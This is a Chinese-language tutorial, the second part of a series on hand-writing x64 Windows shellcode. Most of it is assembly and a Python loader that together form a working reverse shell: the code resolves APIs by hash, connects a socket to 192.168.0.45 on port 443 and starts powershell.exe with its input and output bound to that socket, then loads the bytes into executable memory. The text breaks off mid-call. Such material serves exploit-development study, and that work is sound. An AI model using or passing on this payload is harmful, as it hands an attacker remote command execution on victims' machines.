Skip to main content

Shellcode 编写 - 2

调用 API

为了能实现反向 Shell,我们需要 3 个来自 ws2_32.dll 中的 函数,分别是 WSAStartupWSASocketA,和 WSAConnect。以及来自 kernel32.dll 中的 CreateProcessA 函数。因为我们已经得到了 LoadLibraryA 的地址,因此获得 ws2_32.dll 的基址也很容易。

load_module:
   mov rax, 0x6c6c;   # 将字符串 "ll" 保存至RAX
   push rax;    # 字符串入栈
   mov rax, 0x642E32335F325357;     # 将字符串"WS2_32.D"保存至RAX
   push rax;    # 字符串入栈
   mov rcx, rsp;      # RCX指向"ws2_32.dll\0"字符串
   sub rsp, 0x20;     # 函数序言
   mov rax, r12;      # RAX为LoadLibraryA地址
   call rax;          # LoadLibraryA("ws2_32.dll")
   add rsp, 0x20;     # 函数尾声
   add rsp, 0x10;     # 清理 "ws2_32.dll"字符串所占用的栈空间
   mov r14, rax;      # R14保存了ws2_32.dll的基址

于是,我们获得了 ws2_32 模块的基址。

image.png

我们之前说过,Windows x64 fastcall 的调用分别将函数参数存储在 RCXRDXR8R9,以及栈空间 (如果多于 4 个参数)。尽管前 4 个参数存储于寄存器,但因为参数归位,我们至少需要为栈腾出 0x20 的空间。如果参数更多,那么也相应的增加。如果不是很自信需要腾出多大的空间,宁可多分配一些。

但是,请确保栈满足 16 字节对齐!也就是 RSP 的值一般是以 0 结尾。这里,RSP 是以 8 结尾,不满足 16 字节对齐,出现了这样的报错:

image.png

有的函数参数为结构较为复杂的结构体,我们需要在栈上为其腾出足够的空间,并将结构体的地址作为参数。

sub rsp, 0x200; # 给结构体参数腾出足够空间,不需要十分精确但需要足够大
lea rdx, [rsp]; # 获得结构体的地址作为第2个参数


WSAStartup

首先要调用的是 WSAStartup 函数用于初始化 Winsock DLL 的使用。WSAStartup 函数原型如下:

int WSAStartup(
        WORD      wVersionRequired, # 0x0202 == Version 2.2
  [out] LPWSADATA lpWSAData         # Pointer to where a WSADATA structure will be populated
);

我们需要传递 2 个参数,其中 wVersionRequired 值为 0x202,第 2 个参数 lpWSAData 为结构体类型指针,WSAStartup 调用结束后该参数会被填充,因此我们目前只要给其预留足够空间即可。

call_wsastartup:
   mov r9, rax; # R9保存了ws2_32.dll的基址
   mov r8d, 0x3bfcedcb; # WSAStartup的哈希
   mov rbx, r9; # 将ws2_32.dll的基址保存至RBX以备用
   call parse_module; #搜索并获得WSAStartup的函数地址
   xor rcx, rcx;
   mov cx, 0x198;    
   sub rsp, rcx; # 预留足够空间给lpWSDATA结构体   
   lea rdx, [rsp]; # 将lpWSAData地址赋予RDX寄存器作为第2个参数
   mov rcx, 0x202; # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
   sub rsp, 0x58; #函数序言
   call rax; # 调用WSAStartup
   add rsp, 0x58; # 函数尾声

函数返回值为 0,说明调用成功。

image.png



WSASocketA

接下来,我们需要调用 WSASocketA 函数来创建套接字。WSASocketA 函数原型如下:

SOCKET WSAAPI WSASocketA(
  [in] int                 af,              # RCX   (AF_INET == 2)
  [in] int                 type,            # RDX   (SOCK_STREAM == 1)
  [in] int                 protocol,        # R8    (IPPROTO_TCP == 6)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  # R9    (NULL)
  [in] GROUP               g,               # Stack (NULL)
  [in] DWORD               dwFlags          # Stack (NULL)
);

共有 6 个参数,其中 af2type 1protocol 6,剩余参数皆为 0。因为有 6 个参数,第 5 个参数开始保存在栈上。函数的返回类型为 socket。

call_wsasocket:
   mov r9, rbx;  
   mov r8d, 0xadf509d9; # WSASocketA函数哈希
   call parse_module; # 获得WSASocketA函数地址
   sub rsp, 0x58; # 函数序言
   mov rcx, 2; # af为2作为第1个参数
   mov rdx, 1; # type为1作为第2个参数
   mov r8, 6; # protocol为6作为第3个参数
   xor r9, r9; # lpProtocolInfo为0作为第4个参数
   mov [rsp+0x20], r9; # g为0作为第5个参数,保存在栈上
   mov [rsp+0x28], r9; # dwFlags为0作为第6个参数,保存在栈上
   call rax; # 调用 WSASocketA函数
   mov r12, rax; # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
   add rsp, 0x58; # 函数尾声

返回的描述符值为 0x230 (返回值可能有所不同),保存在 RAX 中。我们需要备份一下该返回值,因为后续会用到,而且 RAX 存储的值很容易被覆盖。

image.png


WSAConnect

接着,我们需要调用 WSAConnect 函数来建立两个套接字应用之间的连接。函数原型如下:

int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);

该函数需要 7 个参数,其中第 1 个参数为 WSASocketA 的返回值,第 2 个参数为结构体 sockaddr 指针,第 3 个参数为 sockaddr 结构体的尺寸,应当为 0x16

其中,sockaddr 结构体如下:

typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

sin_family 值永远为 AF_INET,用整数表示为 2sin_port sin_addr 分别为端口 IP 地址sin_zero 设置为 0 即可。

 call_wsaconnect:
   mov r9, rbx;
   mov r8d, 0xb32dba0c; # WSAConnect哈希
   call parse_module; # 获得WSAConnect地址
   sub rsp, 0x200; # 为socketaddr结构体分配足够空间
   mov rcx, r12; # 将WSASocketA返回的描述符传递给RCX作为第1个参数
   mov rdx, 2; # sin_family成员设置为AF_INET,即2
   mov [rsp], rdx; # 存储socketaddr结构体
   mov rdx, 0xbb01; # 端口设置为443
   mov [rsp+2], rdx; # 将端口值传递给socketaddr结构体中的对应位置
   mov rdx, 0x2d00a8c0; # 设置IP为192.168.0.45
   mov [rsp+4], rdx; # 将IP传递给sockaddr结构体中的对应位置
   lea rdx, [rsp]; # 指向socketaddr结构体的指针作为第2个参数
   mov r8, 0x16; # 设置namelen成员为0x16
   xor r9, r9; # lpCallerData为0作为第4个参数
   sub rsp, 0x58; # 函数序言
   mov [rsp+0x20], r9; # lpCalleeData为0作为第5个参数
   mov [rsp+0x28], r9; # lpSQOS为0作为第6个参数
   mov [rsp+0x30], r9; # lpGQOS为0作为第7个参数
   call rax; # 调用WSAConnect
   add rsp, 0x58; # 函数尾声

调用函数前,查看 RDX 中存储的参数,也就是 sockaddr 结构体地址,各个成员赋值均有效。

image.png

函数返回 0,说明调用成功,并且我们的 netcat 监听器也收到了连接。

image.png


CreateProcessA

最后,我们需要使用 CreateProcessA 函数创建 cmd.exe powershell.exe 进程并且重定向输入输出至初始化的连接中。函数原型如下:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

共有 10 个参数,lpApplicationName 表示应用名称,lpCommandLine 为命令行参数,这 2 个参数不能都为空,需要其中 1 个为 cmd.exe 或 powershell.exe。bInheritHandles 值为 1

lpStartupInfo 为结构体类型指针,我们需要依次给各个结构体成员赋值并且将结构体的地址作为第 9 个参数。lpProcessInformation 也是结构体类型指针,但我们并不需要对该结构体成员赋值,而是在函数调用后被填充,因此我们只需要将其地址作为第 10 个参数。

我们先来看 STARTINFO 结构体,如下是微软文档中给出的结构信息:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

但在内存中,成员的尺寸与微软文档中的有所不同:

0:004> dt combase!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x008 lpReserved       : Ptr64 Char
   +0x010 lpDesktop        : Ptr64 Char
   +0x018 lpTitle          : Ptr64 Char
   +0x020 dwX              : Uint4B
   +0x024 dwY              : Uint4B
   +0x028 dwXSize          : Uint4B
   +0x02c dwYSize          : Uint4B
   +0x030 dwXCountChars    : Uint4B
   +0x034 dwYCountChars    : Uint4B
   +0x038 dwFillAttribute  : Uint4B
   +0x03c dwFlags          : Uint4B
   +0x040 wShowWindow      : Uint2B
   +0x042 cbReserved2      : Uint2B
   +0x048 lpReserved2      : Ptr64 UChar
   +0x050 hStdInput        : Ptr64 Void
   +0x058 hStdOutput       : Ptr64 Void
   +0x060 hStdError        : Ptr64 Void

不过这并没有关系,我们需要指定的只有成员 cbdwFlags、以及最后 3 个成员,其他成员都被赋值 0,因此我们不需要在意其他成员的数据尺寸。cb 值为结构体尺寸,应当设置为 0x68dwFlags 这里设置为 0x100hStdInputhStdOutputhStdError 的值都为 WSASocketA 的返回值

   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x500; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数

接下来,依次给 CreateProcessA 的第 1 至第 8 个参数赋值,最终调用 CreateProcessA 部分代码如下:

 call_createprocess:
   mov r9, rbp; # R9为Kernel32.dll基址
   mov r8d, 0x16b3fe72; # CreateProcessA哈希
   call parse_module; # 获取CreateProcessA地址
   mov rdx, 0x6578652e6c6c; # 字符串"exe.ll"
   push rdx;
   mov rdx, 0x6568737265776f70; # 字符串"ehsrewop"
   push rdx; # "powershell.exe"字符串入栈
   mov rcx, rsp; # 指向"powershell.exe"的指针保存在RCX寄存器中
   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x500; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数
   xor rdx, rdx;
   push rdx; # lpCurrentDirectory值为0作为第8个参数
   push rdx; # lpEnvironment值为0作为第7个参数
   push rdx; # dwCreationFlags值为0作为第6个参数
   inc rdx;
   push rdx; # bInheritHandles值为1作为第5个参数
   xor rdx, rdx;
   push rdx; # 为函数归位区域(第4个参数)预留空间
   push rdx; # 为函数归位区域(第3个参数)预留空间
   push rdx; # 为函数归位区域(第2个参数)预留空间
   push rdx; # 为函数归位区域(第1个参数)预留空间
   mov rdx, rcx; # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
   xor rcx, rcx; # 因为lpCommandLine已经赋值,lpApplicationName可为空
   mov r8, rcx; # lpProcessAttributes值为0作为第3个参数
   mov r9, rcx; # lpThreatAttributes值为0作为第4个参数
   call rax;

那么,整合之前的代码,完整的初版 Shellcode 如下:

start:
  sub rsp, 0x20; # 函数序言
  call find_kernel32;
  add rsp, 0x20; # 函数尾声
  mov rbp, rax; # RBP保存Kernel32.dll基址
  mov r8d, 0xec0e4e8e; # LoadLibraryA哈希
  sub rsp, 0x20; # 函数序言
  call parse_module; # 搜索 LoadLibraryA函数并获得地址
  add rsp, 0x20; # 函数尾声
  mov r12, rax;
  mov r8d, 0x7c0dfcaa; # GetProcAddress哈希
  sub rsp, 0x20; # 函数序言
  call parse_module; # 搜索GetProcAddress函数并获得地址
  add rsp, 0x20; # 函数尾声
  mov r13, rax;    

find_kernel32:
  mov rdx, rdx;
  mov rax, gs:[rdx+0x60]; # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
  mov rsi,[rax+0x18]; # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
  mov rsi,[rsi + 0x20]; # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

next_module:
  mov r9, [rsi + 0x20];  # R9 此时保存着当前模块的基址
  mov rdi, [rsi + 0x50]; # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
  mov rsi, [rsi]; # 获得下一个条目的地址
    add rdi, 2; # 跳过K字符

parse_module: # 解析内存中的DLL文件
  mov ecx, dword ptr [r9 + 0x3c]; # R9保存着模块的基址,获取NT头偏移
  mov r15d, dword ptr [r9 + rcx + 0x88]; # 获取导出目录的RVA
  add r15, r9;    # R14保存着导出目录的VMA
  mov ecx, dword ptr [r15 + 0x18]; # ecx保存着函数名称的数量,作为索引值
  mov r14d, dword ptr [r15 + 0x20]; # 获得ENPT的RVA
  add r14, r9; # R14 保存着ENPT的VMA

search_function: # 搜索给定函数
  jrcxz not_found; # 如果RCX为0,那么没找到给定函数
  dec ecx; # 索引减少1
  xor rsi, rsi;
  mov esi, [r14 + rcx*4]; # 函数名称字符串的RVA
  add rsi, r9; # RSI 指向函数名称字符串

function_hashing: # 哈希函数名函数
  xor rax, rax; 
  xor rdx, rdx;
  cld; # 清除DF标志位

iteration: # 迭代每个字节
  lodsb; # RSI的下一个字节拷贝给Al
  test al, al; # 如果到达字符串末尾
  jz compare_hash; # 比较哈希
  ror edx, 0x0d; # 哈希算法部分
  add edx, eax; # 哈希算法部分
  jmp iteration; # 下一个字节

compare_hash: # 比较哈希
  cmp edx, r8d;
  jnz search_function; # 如果不等,搜索前一个函数 (索引由大变小)
  mov r10d, [r15 + 0x24]; # 序数表RVA
  add r10, r9; # 序数表VMA
  movzx ecx, word ptr [r10 + 2*rcx]; # 函数序数值 -1
  mov r11d, [r15 + 0x1c]; # EAT的RVA
  add r11, r9; # EAT的VNA
  mov eax, [r11 + 4*rcx]; # RAX保存函数RVA
  add rax, r9; # RAX保存着函数VMA
  ret;
not_found:"
  ret;


load_module:
   mov rax, 0x6c6c;   # 将字符串 "ll" 保存至RAX
   push rax;    # 字符串入栈
   mov rax, 0x642E32335F325357;     # 将字符串"WS2_32.D"保存至RAX
   push rax;    # 字符串入栈
   mov rcx, rsp;      # RCX指向"ws2_32.dll\0"字符串
   sub rsp, 0x20;     # 函数序言
   mov rax, r12;      # RAX为LoadLibraryA地址
   call rax;          # LoadLibraryA("ws2_32.dll")
   add rsp, 0x20;     # 函数尾声
   add rsp, 0x10;     # 清理 "ws2_32.dll"字符串所占用的栈空间
   mov r14, rax;      # R14保存了ws2_32.dll的基址

call_wsastartup:
   mov r9, rax; # R9保存了ws2_32.dll的基址
   mov r8d, 0x3bfcedcb; # WSAStartup的哈希
   mov rbx, r9; # 将ws2_32.dll的基址保存至RBX以备用
   call parse_module; #搜索并获得WSAStartup的函数地址
   xor rcx, rcx;
   mov cx, 0x198;    
   sub rsp, rcx; # 预留足够空间给lpWSDATA结构体   
   lea rdx, [rsp]; # 将lpWSAData地址赋予RDX寄存器作为第2个参数
   mov rcx, 0x202; # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
   sub rsp, 0x58; #函数序言
   call rax; # 调用WSAStartup
   add rsp, 0x58; # 函数尾声

call_wsasocket:
   mov r9, rbx;  
   mov r8d, 0xadf509d9; # WSASocketA函数哈希
   call parse_module; # 获得WSASocketA函数地址
   sub rsp, 0x58; # 函数序言
   mov rcx, 2; # af为2作为第1个参数
   mov rdx, 1; # type为1作为第2个参数
   mov r8, 6; # protocol为6作为第3个参数
   xor r9, r9; # lpProtocolInfo为0作为第4个参数
   mov [rsp+0x20], r9; # g为0作为第5个参数,保存在栈上
   mov [rsp+0x28], r9; # dwFlags为0作为第6个参数,保存在栈上
   call rax; # 调用 WSASocketA函数
   mov r12, rax; # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
   add rsp, 0x58; # 函数尾声

 call_wsaconnect:
   mov r9, rbx;
   mov r8d, 0xb32dba0c; # WSAConnect哈希
   call parse_module; # 获得WSAConnect地址
   sub rsp, 0x200; # 为socketaddr结构体分配足够空间
   mov rcx, r12; # 将WSASocketA返回的描述符传递给RCX作为第1个参数
   mov rdx, 2; # sin_family成员设置为AF_INET,即2
   mov [rsp], rdx; # 存储socketaddr结构体
   mov rdx, 0xbb01; # 端口设置为443
   mov [rsp+2], rdx; # 将端口值传递给socketaddr结构体中的对应位置
   mov rdx, 0x2d00a8c0; # 设置IP为192.168.0.45
   mov [rsp+4], rdx; # 将IP传递给sockaddr结构体中的对应位置
   lea rdx, [rsp]; # 指向socketaddr结构体的指针作为第2个参数
   mov r8, 0x16; # 设置namelen成员为0x16
   xor r9, r9; # lpCallerData为0作为第4个参数
   sub rsp, 0x58; # 函数序言
   mov [rsp+0x20], r9; # lpCalleeData为0作为第5个参数
   mov [rsp+0x28], r9; # lpSQOS为0作为第6个参数
   mov [rsp+0x30], r9; # lpGQOS为0作为第7个参数
   call rax; # 调用WSAConnect
   add rsp, 0x58; # 函数尾声

 call_createprocess:
   mov r9, rbp; # R9为Kernel32.dll基址
   mov r8d, 0x16b3fe72; # CreateProcessA哈希
   call parse_module; # 获取CreateProcessA地址
   mov rdx, 0x6578652e6c6c; # 字符串"exe.ll"
   push rdx;
   mov rdx, 0x6568737265776f70; # 字符串"ehsrewop"
   push rdx; # "powershell.exe"字符串入栈
   mov rcx, rsp; # 指向"powershell.exe"的指针保存在RCX寄存器中
   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x500; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数
   xor rdx, rdx;
   push rdx; # lpCurrentDirectory值为0作为第8个参数
   push rdx; # lpEnvironment值为0作为第7个参数
   push rdx; # dwCreationFlags值为0作为第6个参数
   inc rdx;
   push rdx; # bInheritHandles值为1作为第5个参数
   xor rdx, rdx;
   push rdx; # 为函数归位区域(第4个参数)预留空间
   push rdx; # 为函数归位区域(第3个参数)预留空间
   push rdx; # 为函数归位区域(第2个参数)预留空间
   push rdx; # 为函数归位区域(第1个参数)预留空间
   mov rdx, rcx; # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
   xor rcx, rcx; # 因为lpCommandLine已经赋值,lpApplicationName可为空
   mov r8, rcx; # lpProcessAttributes值为0作为第3个参数
   mov r9, rcx; # lpThreatAttributes值为0作为第4个参数
   call rax;

 

那么我们的 Python 脚本如下:

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   call find_kernel32;"
"   mov rbp, rax;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   call parse_module;"    # Search GetProcAddress' address
"   mov r13, rax;"    # R13 = GetProcAddress Address
"   call load_module;"    # Load ws2_32.dll

" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
"   mov r12, 0x0045004E00520045;"    # Unicode string "ENRE"
"   mov r13, 0x002e00320033004c;"    # Unicode string ".23L"
"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"
" check_lower:"
"   mov r12, 0x0065006E00720065;"    # Unicode string "enre"
"   mov r13, 0x002e00320033006c;"    # Unicode string ".23l"
"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   mov r15d, dword ptr [r9 + rcx + 0x88];"    # Fetch RVA of Export Directory
"   add r15, r9;"    # R14 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"


" load_module:"
"   mov rax, 0x6c6c  ;"   # Move "ll" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   add rsp, 0x10;"     # Clean up WS2_32.DLL string
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"

"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   mov rcx, 0x202;"    # wVersionRequired 
"   sub rsp, 0x58;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x58;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x58;"
"   mov rcx, 2;"    # 2
"   mov rdx, 1;"    # 1
"   mov r8, 6;"    # 6
"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x58;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   sub rsp, 0x200;"    # Reserve space for socketaddr
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   mov rdx, 2;"    # AF_INET = 2
"   mov [rsp], rdx;"    # Store structure socketaddr
"   mov rdx, 0xbb01;"    # Port 443 01bb
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov rdx, 0x2d00a8c0;"    # IP  192.168.0.45
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   mov r8, 0x16;"    # namelen = 16 bytes
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x58;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x58;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x6578652e6c6c;"    # Push string "exe.ll"
"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x100;"     
"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x68;"
"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub rdx, 0x500;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"
)


# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
